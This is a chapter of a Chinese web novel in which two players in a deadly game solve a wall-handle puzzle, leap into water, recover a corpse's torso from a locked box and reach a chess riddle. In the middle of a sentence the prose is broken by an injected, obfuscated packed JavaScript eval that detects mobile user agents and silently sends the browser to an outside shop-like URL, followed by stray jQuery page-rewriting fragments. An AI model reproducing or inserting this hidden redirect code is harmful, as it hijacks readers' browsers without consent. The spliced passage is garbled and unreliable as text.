19.第19章
作品:《我听见了,来自地狱的更新公告》 前面已经没路了。
结合刚才电影院的方位、这条通道的走向,以及我们在里面行进的距离来判断,这里应该就是第二个坐标点。
可放眼望去,什么都没有。
四周是规整而封闭的墙面,身后的通道幽深漆黑,也不可能再退回去了。
……就是这里没错。
我低头看了一眼地图,坐标正是脚下的位置。
“这里肯定有机关,只是还没被触发,一旦启动,应该就能通往第二个坐标点。”我在地上摸索着。
墙面上有一条细长的凸起。
我用手电照过去,光圈里浮现出两个并排的把手,横着嵌在墙上。
像是门把手,又更像老旧柜子上的拉环,突兀地生在不该出现的地方。
“这什么鬼东西。”
我伸手摸了摸,用力往里一按,居然真的陷了进去,又迅速弹回原位,伴随着一声空洞的回响。
一个是长圆形的把手,一个是长方形的。
为什么形状不一样?
我又按了按长方形的那个,同样弹回,同样有回声。
这绝对是通往第二个坐标的机关。
我举着手电扫向四周,忽然注意到通道墙壁上有细细的纹路。
那种纹路……像复式楼梯扶手的立柱。
我顺着墙往前照,又看了看旁边……果然。
一根是方柱纹,一根是圆柱纹,交错排列。
“丁黎梓,你过来看。”我招呼他,“这边的纹路,一个是方的,一个是圆的。我觉得顺序就在这里。”
我往来时的方向退了几步,发现整条通道的墙壁上,全是这样的纹路。
“你该不会要从头一个一个数吧?”丁黎梓靠在两个把手旁。
“不然呢?让你这腿脚不便的来?”
我已经举着手电往回走了,“等会儿你只看我手电的光——照左壁是方,按方把手;照右壁是圆,按圆的。”
怕他听不清,我特地强调了一遍。
为了节省时间,我一路小跑回到起点。
“听得见吗!”我喊。
“你说什么?!”他的声音从通道尽头传来,断断续续。
……果然听不见。
那就开始。
我按照纹路出现的顺序左右打灯。
“方……圆……圆……方……方……”
我一边低声念,一边打光,通道里不断传来他按下把手的回响。
刚走到一半,异变骤生。
通道四周开始渗出酸液,顺着墙壁缓缓流下,纹路被腐蚀得发出滋滋声。
“操!没时间了!”
我拔腿往前冲,“丁黎梓,加快!”
我一边跑,一边拼命辨认剩下的纹路,手电光在墙面上疯狂晃动,嘴里几乎是吼出来的——
“圆!方!圆!”
纹路越来越模糊,我的判断也开始迟疑。
丁黎梓缩着身子,尽量避开把手附近渗出的酸液,干脆脱下上衣裹住手,继续按。
最后一个。
我几乎是贴着墙确认的。
“是圆!!”
他猛地按下圆形把手。
下一秒,酸液开始倾泻,而我们脚下的通道墙壁缓缓裂开——
“跳!”我一把拉住丁黎梓,“快跳下去!”
他却猛地挣脱了我的手。
“不行!我恐高!”
……wdnmd???!!!
我差点当场裂开。
“酸都流到脚边了,你现在又不怕疼了是吧!”我吼他。
“可下面是什么谁知道啊!万一是实地,我们会被摔死的!”他眼神飘忽,明显在找借口。
“不会的!”我咬着牙跟他解释,“这是唯一通道,不可能是死路,这又不是二选一!”
酸液已经逼到脚边,热气和腐蚀味直往鼻腔里钻。
我深吸一口气,把手放在他背上,强迫自己语气平稳下来。
“丁黎梓。”
“既然你恐高,不敢跳,那我背你,往回走,看看还有没有别的路。”
他眼睛一亮,立刻点头。
就在酸液即将漫到脚背的瞬间,我蹲下身,把他背了起来。
“走吧,晨晨。”他的手搭在我肩上。
“抓紧了哦。”
我回头,往前走了两步,眯着眼冲他笑了一下。
他像是意识到了什么,表情一僵。
下一秒——
我直接一个纵身跃下!
“啊啊啊啊啊啊!!!晨晨你骗我!!!”
他的惨叫声在通道里疯狂回荡。
我无视他的惨叫,也无视他抓得我肩膀生疼的手,我抽出武士刀划进身侧的岩壁,勉强放缓了我们下坠的势头,在下坠中默默读秒。
扑通——
冰冷的水瞬间吞没了我们。
竟然这么深。
我屏住呼吸,拼命向上游去,一条胳膊受限,手腕也被刚刚武士刀反向冲击力扭到了,基本只能靠双腿。
丁黎梓却游得极快。
我忽然想起公司团建那次在苏梅岛,他是所有人里游得最快的一个。
这逼居然不救我……
我在心里暗骂了一句。
大概是在报复我上一关拿他的命当诱饵。
体力迅速流失,我的动作开始变得迟缓,视线都有些发虚。
就在我快撑不住的时候,看到他已经游到岸边,却又猛地掉头,朝我这边游了回来。
他一把拽住我,把我拖出了水面,带着我一起上了岸。
我缓了好一会儿,呼吸才终于顺下来。
抬头看他,一时间竟不知道该说什么。
“看我干嘛?”他双手抱胸,语气别扭,“谁让你骗我跳下来的。”
哦。
原来不是因为我之前把他当诱饵的事。
“要不是我少了条胳膊,我自己也能游上来。”
“你这人真是一点都不可爱,”他撇了撇嘴,“就不能说句谢谢?”
我狠狠瞪了他一眼:“你少说有的没的!”
“凶死了。”丁黎梓揉了揉肩,“刚才我回来拉你的时候,好像看到水里有个箱子,被绳子绑在石头上。”
“难不成是……?”我心里一紧。
我扶着岸边再次潜下水。水色昏暗,只能勉强看清轮廓——果然有个模模糊糊的箱子,沉在水底。
我浮上来换气:“你眼睛还挺好使。”
“我下去拿。”丁黎梓伸手想拉我。
“我得一起。”我拦住他,“既然绑了绳子,肯定得用刀。你来割,我扶稳绳子。”
他点头:“行。”
我们再次潜入水中。我咬住武士刀,右手攥着他的腰带,由他带着往下潜。
水越来越冷,压得耳膜发疼。
大概七八米深,寒意顺着腿骨往上爬,冻得人发麻。
面前漂着那个箱子,被粗绳缠得严严实实,绳结交叉着固定在石头上,像是生怕它再浮上去。
我用一只脚踩住压在石头上的绳子,右手死死攥住另一端,让绳子绷紧不动,示意丁黎梓动手。
他拔刀下切。
我本就不擅水性,胸口憋得不行,视线开始发花,刚才坠水的冲击让身体多处隐隐作痛。我急促地朝他比了个手势——时间不多了。
丁黎梓明显也快撑不住了,动作加快。
绳子终于断开。
箱子失去束缚,缓缓往上浮去。
丁黎梓拉住我的胳膊,带着我朝水面游去。
上岸后喘了好一会儿,水面才泛起涟漪,那个箱子也浮了上来。
我们把它拖上岸,放在脚边。
箱子上挂着一把锁,上面只有一句话:
“刚刚掉落的时候,大概是多少米?”
我愣了一下,随即笑了出来。
幸好,刚才我在往下坠的时候,顺手读了秒。
毕竟不是自由落体,无法准确计算出来掉落多少米,但我回想了一下……
第一秒。
虎口和腕骨受到的冲击力像被铁锤砸中。
第二秒。
手臂的肌肉在尖叫,肩膀关节发出不堪重负的呻吟。
我知道当时的骨头还没断,但每一根肌腱都像拉到了极限的弓弦。
刀身在震动,发出高频的嗡鸣,传到我手心,麻了半个身子。
第三秒。
水面在急速逼近,从一片朦胧的深蓝,迅速变成清晰、甚至能看到波纹的镜面。
入水。
撞击比我想象的温和。
没有粉身碎骨的剧痛,更像被一个巨大的巴掌从脚到头狠狠拍了一遍。
水瞬间淹没了我,耳膜压力骤增,但意识无比清醒。
减速起了作用。
我在水下翻滚了几圈,借着残余的惯性滑向更深处,随后疼痛才慢慢浮现——握刀的手腕迅速肿起,肋骨处传来一阵闷闷的压痛。
但我和丁黎梓都没有重伤。
这说明,我们算是安全入水。
如果是这样,入水瞬间的速度大概在10到12米每秒之间。
我蹲在岸边的湿土上,用手指画着公式,自言自语:
“总下落时间是3秒,最终安全速度按12米每秒算,重力加速度9.8米每秒平方……”
“那减速度,大概是5.8米每秒平方。”
接下来,只需要反推高度。
我在地上写下数字和公式,一项一项代入。
计算结果很快就出来了——
我盯着这个数字看了一会儿。
十八米。
难怪刚才那一下,像是把全身的骨头都重新敲了一遍。
我把锁上的数字调到那个答案。
“咔哒。”
锁开了。
一瞬间,我愣住了——
居然一点误差都没有……?!
我忍不住低声笑了一下,胸腔里那口一直憋着的气终于吐了出来。
……还真被我算对了。
箱盖被掀开的那一刻,笑意却僵在了脸上。
里面是一具只剩上半身的白骨,皮肉尚未完全腐烂,惨白与暗红交错,散发出一股潮湿、冰冷的气味。
“这……应该就是谢总祥的躯干。”
我脱下外衣,轻轻地将那具尸体仔细包裹起来。
“那现在怎么办?咱们怎么出去?”丁黎梓叹了口气,“这地方完全就是个水帘洞。”
我知道他在急什么。
九点,是我们回去的死线。
“……岸上真的什么都没有吗?”
我强撑着发疼的身体,沿着湿滑的岸边往四周摸索过去。
上面根本不可能爬上去,我们也不可能再回到那个“胃酸电影院”。
可四周空空荡荡,什么都没有。
……难道在水里?
这个念头一冒出来,我的身体却先一步发出了抗议。
肌肉酸胀得发麻,呼吸都带着疼,我已经快到极限
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983881|193499||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。
“丁黎梓,你还有力气吗?”
“不多,”他喘了口气,“但你需要的话,我就一定还能撑。”
我看向水面。
“我怀疑……水下还有机关。能把我们送到第三个坐标的那种。”
丁黎梓深吸了口气,调整了一下呼吸,抬手拍了拍我的肩。
“我下去看看。”
“当心点,”我按住他的手腕,“下面可能有机关,别乱碰。”
……疼,别晃我。
他低头看我一眼,笑得意味不明:“你这是在关心我?”
我一时语塞。
现在当然不能让你死。
你要是死了,我怎么出去?
你还答应把积分分给我呢,肯定是能让你活一天是一天。
我移开视线,语气冷下来:“少bb,赶紧去。”
他应该是知道我生气了,没再说什么,转身潜入了水中。
我实在撑不住了,顺势躺倒在地,视线一阵阵发花,只能勉强捕捉到水面传来的动静。
哗啦、哗啦——
水声。
我一屁股坐了起来。
不是死水。
如果还能听见水流声,那就说明这里的水是在流动的。
“这……这里有个洞口!”丁黎梓突然浮出水面,指着水下,“不过被一根根柱子挡住了,得掰开才能过去。”
卧槽,现在谁还有力气掰它啊……
疲惫像铅块一样压在我身上,脑子里却蹦出一个画面——高中跟大学时,喻清月教我防身术的样子。
她徒手就能掰80公斤的臂力棒,虽然就一下……但当时给我看得目瞪口呆。
现在的我,连手臂都快抽筋了,想起她,反而让我有点想笑,又有点绝望。
我和丁黎梓潜入水下,用割下的绳子死死缠住一根柱子,用力猛拉,每拉十秒就浮上来换口气。
功夫不负有心人,终于,柱子被我们成功撑开。
丁黎梓把尸体背在身后,我紧跟着他,顺着洞口往上游。
洞十分狭窄,但我们咬牙坚持。
几乎是用爬的方式,我们一点一点挤了出去。
终于!!!重见天日,脚踏在坚实的地面上,我忍不住长出一口气。
我们沿着地图指示,向第三处坐标缓缓前行。
剩下的,只有谢总祥的心脏和眼睛还没有找到。
谢文岚、白羽他们……我根本不知道现在情况如何。
心里不免一阵发怵,才刚过第二个副本,就已经有人死,有人受伤,更别提后面还有整整十六个副本在等着我们。
第三个坐标,是一口枯井。
丁黎梓在井口紧握绳索,稳稳帮我拉着,我坐在木桶里,缓缓下沉。
打开手电筒,井口映出漆黑的深渊——空荡荡的。
“嘶嘶嘶淅淅索索……”
微弱的声响在井壁间回荡,像是蛇在吐信子,冰冷的气息顺着光线滑进心底,让我不由自主打了个寒颤。
我心头一紧,立刻贴着井壁躲了起来。
果然,蛇循着动静过来,鳞片摩擦井壁,发出细碎刺耳的声响。
它发现我的瞬间猛地弹起,张口就朝我扑来。
我几乎是本能反应,刀光一闪,横劈而下。
蛇身在半空中猛地一震,落地后还抽搐了几下,终于彻底不动了。
我盯着它看了两秒,确认没气了,这才弯腰把它拎起来,塞进怀里。
说不定还能带回去,煲个蛇汤。
“晨晨,你还好吗?刚刚听到好大的动静!”井口传来丁黎梓的声音。
“我没事儿,”我回应,“刚刚是一条蛇,别担心了。就请好吧,咱们能加餐了。”
希望丁黎梓和白羽能吃得惯蛇肉……我可不想大晚上再饿肚子了。
我向前走,来到一条分岔路口。
草,我刚刚真是乌鸦嘴。
刚才我还说,系统如果只给我们安排一条路,那条路就算看起来再危险,也不会直接把我们弄死。
可现在……如果系统故意给我们二选一,那就麻烦了……
选错路,可就不是被蛇吓一跳那么简单了。
路口堵着两扇石门,我根本看不出里面有什么。
我伸手摸了摸冰凉的石门。
“解谜时间。”系统那贱兮兮的声音响起,“选对石门,心脏归你。选错……另一扇石门将为你打开——欢迎来到蛇窝。”
我谢谢你。
我靠近石门,手指轻轻抚过冰冷的石面。
突然,石壁上浮现出血红色的字:
“黑先白后,步步相逼;
马走日,象走田;
只一着,便决生死。
心要稳,眼要准,
落子即开门。”
这明明是象棋的走法!
我环顾四周,地上赫然有九个凹槽,像棋盘的九宫格。每个凹槽里都有微微的凹陷痕迹,好像是让棋子落下的。
1 | 2 | 3
--------
4 | 5 | 6
--------
7 | 8 | 9
黑先白后,也就是说每次放棋子先黑后白。
马走日,象走田,落子要遵循象棋走法:
马走“日”形,类似跳两格横,一格竖。
象走“田”字,那就是斜对角两格。
我默默数了数手里的棋子——三黑三白,顺序一定要对。

